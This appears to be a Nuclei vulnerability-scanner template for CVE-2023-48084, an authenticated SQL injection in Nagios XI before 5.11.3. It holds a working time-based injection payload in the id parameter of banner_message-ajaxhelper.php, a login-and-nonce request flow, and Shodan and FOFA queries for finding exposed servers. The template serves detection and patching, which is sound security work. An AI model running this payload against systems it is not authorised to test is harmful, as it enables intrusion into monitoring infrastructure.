Nagios XI < 5.11.3 - SQL Injection

id: CVE-2023-48084

info:
  name: Nagios XI < 5.11.3 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL injection vulnerability in Nagios XI before version 5.11.3 via the bulk modification tool.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/bucketcat/CVE-2023-48084
    - https://github.com/Hamibubu/CVE-2023-48084
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48084
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-48084
    cwe-id: CWE-89
    epss-score: 0.00114
    epss-percentile: 0.44856
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - title="Nagios XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2023,nagiosxi,sqli,authenticated,nagios

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=

      - |
        @timeout: 15s
        GET /nagiosxi/index.php/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration_3>=5'
          - 'contains(body_3, "Home Dashboard</a>")'
        condition: and

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true
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